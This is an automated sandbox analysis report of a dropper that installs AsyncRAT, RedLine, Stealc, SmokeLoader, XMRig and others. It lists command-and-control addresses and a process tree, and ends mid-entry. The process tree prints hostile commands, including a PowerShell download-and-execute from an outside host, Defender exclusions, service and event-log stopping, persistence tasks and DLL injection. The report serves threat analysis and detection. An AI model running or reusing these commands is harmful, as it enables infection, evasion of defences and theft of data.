asyncrat | 1dfb7d09daa0bece4197d998a72acac7deebaf2ff54b4461667495a41240d0e8

Resubmissions

29/01/2024, 12:18

240129-pg3mqsbaap10

21/01/2024, 16:07

240121-tkz38sefc210

Analysis

max time kernel
8s
max time network
306s
platform
windows11-21h2_x64
resource
win11-20231215-en
resource tags

arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
submitted
29/01/2024, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.exe
Size 10KB
Sample240129-pg3mqsbaap
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://maxximbrasil.com/themes/config_20.ps1

Extracted

Family

redline

Botnet

adel

62.233.51.177:14107

Attributes

auth_value
6ba5b78fc0fccdad3cc87ea2ca866fc2

Extracted

Family

stealc

http://185.172.128.79

Attributes

url_path
/3886d2276f6914c4.php

rc4.plain

Extracted

Family

smokeloader

Version

2022

http://selebration17io.io/index.php
http://vacantion18ffeu.cc/index.php
http://valarioulinity1.net/index.php
http://buriatiarutuhuob.net/index.php
http://cassiosssionunu.me/index.php
http://sulugilioiu19.net/index.php
http://goodfooggooftool.net/index.php
http://trad-einmyus.com/index.php
http://tradein-myus.com/index.php
http://trade-inmyus.com/index.php

rc4.i32

Extracted

Family

metasploit

Version

windows/reverse_tcp

193.117.208.148:7800

Extracted

Family

redline

193.26.115.228:19267

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

redline

Botnet

LogsDiller Cloud (Telegram: @logsdillabot)

51.210.137.6:47909

Attributes

auth_value
c2955ed3813a798683a185a82e949f88

Extracted

Family

redline

Botnet

socicalbot

149.28.205.74:2470

Attributes

auth_value
9c51f0d7102febd61d441fffb9c4bb47

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/files/0x000500000002a7cf-1992.dat	family_xworm

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

resource	yara_rule
behavioral4/memory/4828-98-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline
behavioral4/memory/4484-354-0x0000000000400000-0x0000000000454000-memory.dmp	family_redline
behavioral4/memory/4892-642-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline
behavioral4/memory/4460-716-0x0000000000400000-0x0000000000432000-memory.dmp	family_redline
behavioral4/files/0x000100000002a7e7-2628.dat	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/0x0002000000025c3d-376.dat	family_xmrig
behavioral4/files/0x0002000000025c3d-376.dat	xmrig

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral4/files/0x000c000000028bd5-4239.dat	asyncrat

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3476	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral4/memory/4056-341-0x0000000002620000-0x0000000002686000-memory.dmp	net_reactor
behavioral4/memory/4056-343-0x0000000004B10000-0x0000000004B74000-memory.dmp	net_reactor
behavioral4/files/0x000200000002a7db-2590.dat	net_reactor

Executes dropped EXE 8 IoCs

pid	Process
4624	tuc4.exe
1304	tuc4.tmp
400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe
1656	syncUpd.exe
1520	SecurityHealthSystray.exe
2268	FreeMP3CutterJoiner.exe
1284	Aztec.exe
2900	file.exe

Loads dropped DLL 3 IoCs

pid	Process
1304	tuc4.tmp
1304	tuc4.tmp
1304	tuc4.tmp

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5260	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/0x00030000000006a3-1078.dat	upx
behavioral4/files/0x000300000002a7f3-3498.dat	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral4/files/0x0005000000025c59-663.dat	vmprotect

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
118	bitbucket.org
664	raw.githubusercontent.com
736	raw.githubusercontent.com
3	raw.githubusercontent.com
6	raw.githubusercontent.com
29	bitbucket.org
68	bitbucket.org

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com
58	api.2ip.ua
68	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 400 set thread context of 4828	400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	85

Launches sc.exe 29 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3832	sc.exe
788	sc.exe
4644	sc.exe
3892	sc.exe
5272	sc.exe
7064	sc.exe
2732	sc.exe
5228	sc.exe
1560	sc.exe
4768	sc.exe
1064	sc.exe
4704	sc.exe
4336	sc.exe
2380	sc.exe
2608	sc.exe
3152	sc.exe
2016	sc.exe
5144	sc.exe
5168	sc.exe
1812	sc.exe
4184	sc.exe
6004	sc.exe
4216	sc.exe
6836	sc.exe
3420	sc.exe
2616	sc.exe
5520	sc.exe
5448	sc.exe
4136	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 37 IoCs

pid	pid_target	Process	procid_target
440	400	WerFault.exe	83
3908	2988	WerFault.exe	124
1392	1936	WerFault.exe	178
2992	5012	WerFault.exe	184
2220	2472	WerFault.exe	188
1936	668	WerFault.exe	208
2220	4468	WerFault.exe	236
1056	1708	WerFault.exe	228
2356	1708	WerFault.exe	228
4336	3476	WerFault.exe	248
596	3476	WerFault.exe	248
3512	2036	WerFault.exe	262
2368	3476	WerFault.exe	248
3000	4240	WerFault.exe	220
5188	3476	WerFault.exe	248
5444	3476	WerFault.exe	248
5628	3476	WerFault.exe	248
6136	3476	WerFault.exe	248
5696	3476	WerFault.exe	248
5836	32	WerFault.exe	339
4372	2052	WerFault.exe	223
5740	5840	WerFault.exe	362
5384	5888	WerFault.exe	321
5700	5888	WerFault.exe	321
6120	5156	WerFault.exe	378
5544	5156	WerFault.exe	378
5324	5408	WerFault.exe	382
5776	3680	WerFault.exe	416
5464	3680	WerFault.exe	416
4732	3680	WerFault.exe	416
5348	3680	WerFault.exe	416
5736	3680	WerFault.exe	416
5460	3680	WerFault.exe	416
4820	3680	WerFault.exe	416
3344	3680	WerFault.exe	416
4604	3680	WerFault.exe	416
3516	3680	WerFault.exe	416

Creates scheduled task(s) 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2292	schtasks.exe
2368	schtasks.exe
3580	SCHTASKS.exe
4032	schtasks.exe
5320	schtasks.exe
3728	schtasks.exe
4544	schtasks.exe
560	schtasks.exe
5328	schtasks.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
1268	timeout.exe
3864	timeout.exe
4596	timeout.exe
6036	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5244	WMIC.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
804	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1304	tuc4.tmp
1304	tuc4.tmp

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4276	4363463463464363463463463.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1304	tuc4.tmp

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4276 wrote to memory of 4624	4276	4363463463464363463463463.exe	81
PID 4276 wrote to memory of 4624	4276	4363463463464363463463463.exe	81
PID 4276 wrote to memory of 4624	4276	4363463463464363463463463.exe	81
PID 4624 wrote to memory of 1304	4624	tuc4.exe	82
PID 4624 wrote to memory of 1304	4624	tuc4.exe	82
PID 4624 wrote to memory of 1304	4624	tuc4.exe	82
PID 4276 wrote to memory of 400	4276	4363463463464363463463463.exe	83
PID 4276 wrote to memory of 400	4276	4363463463464363463463463.exe	83
PID 4276 wrote to memory of 400	4276	4363463463464363463463463.exe	83
PID 400 wrote to memory of 4828	400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	85
PID 400 wrote to memory of 4828	400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	85
PID 400 wrote to memory of 4828	400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	85
PID 400 wrote to memory of 4828	400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	85
PID 400 wrote to memory of 4828	400	c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe	85
PID 4276 wrote to memory of 1656	4276	4363463463464363463463463.exe	86
PID 4276 wrote to memory of 1656	4276	4363463463464363463463463.exe	86
PID 4276 wrote to memory of 1656	4276	4363463463464363463463463.exe	86
PID 1304 wrote to memory of 3324	1304	tuc4.tmp	212
PID 1304 wrote to memory of 3324	1304	tuc4.tmp	212
PID 1304 wrote to memory of 3324	1304	tuc4.tmp	212
PID 1304 wrote to memory of 1520	1304	tuc4.tmp	377
PID 1304 wrote to memory of 1520	1304	tuc4.tmp	377
PID 1304 wrote to memory of 1520	1304	tuc4.tmp	377
PID 3324 wrote to memory of 3176	3324	51B5.exe	221
PID 3324 wrote to memory of 3176	3324	51B5.exe	221
PID 3324 wrote to memory of 3176	3324	51B5.exe	221
PID 1304 wrote to memory of 2268	1304	tuc4.tmp	93
PID 1304 wrote to memory of 2268	1304	tuc4.tmp	93
PID 1304 wrote to memory of 2268	1304	tuc4.tmp	93
PID 4276 wrote to memory of 1284	4276	4363463463464363463463463.exe	94
PID 4276 wrote to memory of 1284	4276	4363463463464363463463463.exe	94
PID 4276 wrote to memory of 2900	4276	4363463463464363463463463.exe	96
PID 4276 wrote to memory of 2900	4276	4363463463464363463463463.exe	96
PID 4276 wrote to memory of 2900	4276	4363463463464363463463463.exe	96

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4276
- C:\Users\Admin\AppData\Local\Temp\Files\tuc4.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\tuc4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Users\Admin\AppData\Local\Temp\is-43U6B.tmp\tuc4.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-43U6B.tmp\tuc4.tmp" /SL5="$D006C,7936204,54272,C:\Users\Admin\AppData\Local\Temp\Files\tuc4.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe
      "C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe" -i
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\net.exe
      "C:\Windows\system32\net.exe" helpmsg 29
      4⤵
      PID:3324
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 29
        5⤵
        
        PID:3176
  - - C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe
      "C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe" -s
      4⤵
      Executes dropped EXE
      PID:2268
- C:\Users\Admin\AppData\Local\Temp\Files\c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\c4fc1686ecf325a5432309a2fec15357f6ff849252747ef44de7b4f1f4d4d1c2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    PID:4828
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 252
    3⤵
    - Program crash
    PID:440
- C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Users\Admin\AppData\Local\Temp\Files\Aztec.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Aztec.exe"
  2⤵
  - Executes dropped EXE
  PID:1284
- C:\Users\Admin\AppData\Local\Temp\Files\file.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\file.exe"
  2⤵
  - Executes dropped EXE
  PID:2900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://maxximbrasil.com/themes/config_20.ps1')"
    3⤵
    PID:2720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(New-Object Net.Webclient).DownloadString('https://maxximbrasil.com/themes/config_20.ps1')
      4⤵
      PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\Files\file.exe" >> NUL
    3⤵
    PID:848
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1
      4⤵
      Runs ping.exe
      PID:804
- C:\Users\Admin\AppData\Local\Temp\Files\987123.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\987123.exe"
  2⤵
  PID:4324
- C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"
  2⤵
  PID:512
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:2500
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
    3⤵
    PID:1116
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Files\build1234.exe"
    3⤵
    PID:1344
- C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
  2⤵
  PID:2368
- - C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
    3⤵
    PID:4252
- C:\Users\Admin\AppData\Local\Temp\Files\latestroc.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\latestroc.exe"
  2⤵
  PID:1812
- - C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
    3⤵
    PID:4476
- - C:\Users\Admin\AppData\Local\Temp\7b0d48dbbf50fe239f1097f5d01c2a6d.exe
    "C:\Users\Admin\AppData\Local\Temp\7b0d48dbbf50fe239f1097f5d01c2a6d.exe"
    3⤵
    PID:2988
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:132
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 972
      4⤵
      Program crash
      PID:3908
  - - C:\Users\Admin\AppData\Local\Temp\7b0d48dbbf50fe239f1097f5d01c2a6d.exe
      "C:\Users\Admin\AppData\Local\Temp\7b0d48dbbf50fe239f1097f5d01c2a6d.exe"
      4⤵
      PID:4632
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:3264
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1920
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:1100
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:3176
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:6024
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5752
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:560
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:3596
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:5020
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:788
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:2488
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:5328
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:6812
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:6760
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:1812
- - C:\Users\Admin\AppData\Local\Temp\FirstZ.exe
    "C:\Users\Admin\AppData\Local\Temp\FirstZ.exe"
    3⤵
    PID:5100
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      PID:2728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:4060
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2024
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4336
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2616
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:4644
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:5228
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:5520
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:6004
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      PID:5996
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      PID:5988
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      PID:5980
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      PID:5972
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:5448
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "WSNKISKT"
      4⤵
      Launches sc.exe
      PID:5144
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:5168
- - C:\Users\Admin\AppData\Local\Temp\rty25.exe
    "C:\Users\Admin\AppData\Local\Temp\rty25.exe"
    3⤵
    PID:2232
- C:\Users\Admin\AppData\Local\Temp\Files\uedfh12.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\uedfh12.exe"
  2⤵
  PID:4056
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4484
- C:\Users\Admin\AppData\Local\Temp\Files\Screensaver.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Screensaver.exe"
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"
  2⤵
  PID:4964
- C:\Users\Admin\AppData\Local\Temp\Files\1bz7KfahvU.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1bz7KfahvU.exe"
  2⤵
  PID:4636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "" "SCHTASKS.exe /Create /SC MINUTE /ED 12/12/2030 /TN runtime_1 /TR C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe"
    3⤵
    PID:3520
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /ED 12/12/2030 /TN runtime_1 /TR C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe
      4⤵
      Creates scheduled task(s)
      PID:2292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "" "SCHTASKS.exe /Create /SC MINUTE /ED 12/12/2030 /TN runtime_2 /TR C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe"
    3⤵
    PID:4972
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /ED 12/12/2030 /TN runtime_2 /TR C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe
      4⤵
      Creates scheduled task(s)
      PID:3728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "" "SCHTASKS.exe /Create /SC MINUTE /ED 12/12/2030 /TN runtime_3 /TR C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe"
    3⤵
    PID:3908
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /ED 12/12/2030 /TN runtime_3 /TR C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe
      4⤵
      Creates scheduled task(s)
      PID:4544
- C:\Users\Admin\AppData\Local\Temp\Files\dart.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dart.exe"
  2⤵
  PID:3216
- C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
  2⤵
  PID:3832
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1936
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1936 -s 324
      4⤵
      Program crash
      PID:1392
- C:\Users\Admin\AppData\Local\Temp\Files\15c63318bd5a529e599e5d60302f2dc14961ebcc209b735796efbfdb4c1d59fd.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\15c63318bd5a529e599e5d60302f2dc14961ebcc209b735796efbfdb4c1d59fd.exe"
  2⤵
  PID:3400
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\1.vbs"
    3⤵
    PID:1980
- - C:\Windows\Temp\tel.exe
    "C:\Windows\Temp\tel.exe"
    3⤵
    PID:5012
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:4892
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 280
      4⤵
      Program crash
      PID:2992
- - C:\Windows\Temp\fcc.exe
    "C:\Windows\Temp\fcc.exe"
    3⤵
    PID:3848
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\bebra.exe\bebra.exe
      4⤵
      PID:1268
- - C:\Windows\Temp\jjj.exe
    "C:\Windows\Temp\jjj.exe"
    3⤵
    PID:2472
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:4460
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2472 -s 268
      4⤵
      Program crash
      PID:2220
- C:\Users\Admin\AppData\Local\Temp\Files\1230.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1230.exe"
  2⤵
  PID:580
- C:\Users\Admin\AppData\Local\Temp\Files\idrB5Event.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\idrB5Event.exe"
  2⤵
  PID:1268
- C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\sc.exe"
  2⤵
  - Launches sc.exe
  PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    PID:2964
  - - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
      C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
      4⤵
      Launches sc.exe
      PID:1560
- C:\Users\Admin\AppData\Local\Temp\Files\9.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\9.exe"
  2⤵
  PID:668
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 276
    3⤵
    - Program crash
    PID:1936
- C:\Users\Admin\AppData\Local\Temp\Files\update.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\update.exe"
  2⤵
  PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSecurity.exe'
    3⤵
    PID:4584
- - C:\Windows\System32\schtasks.exe
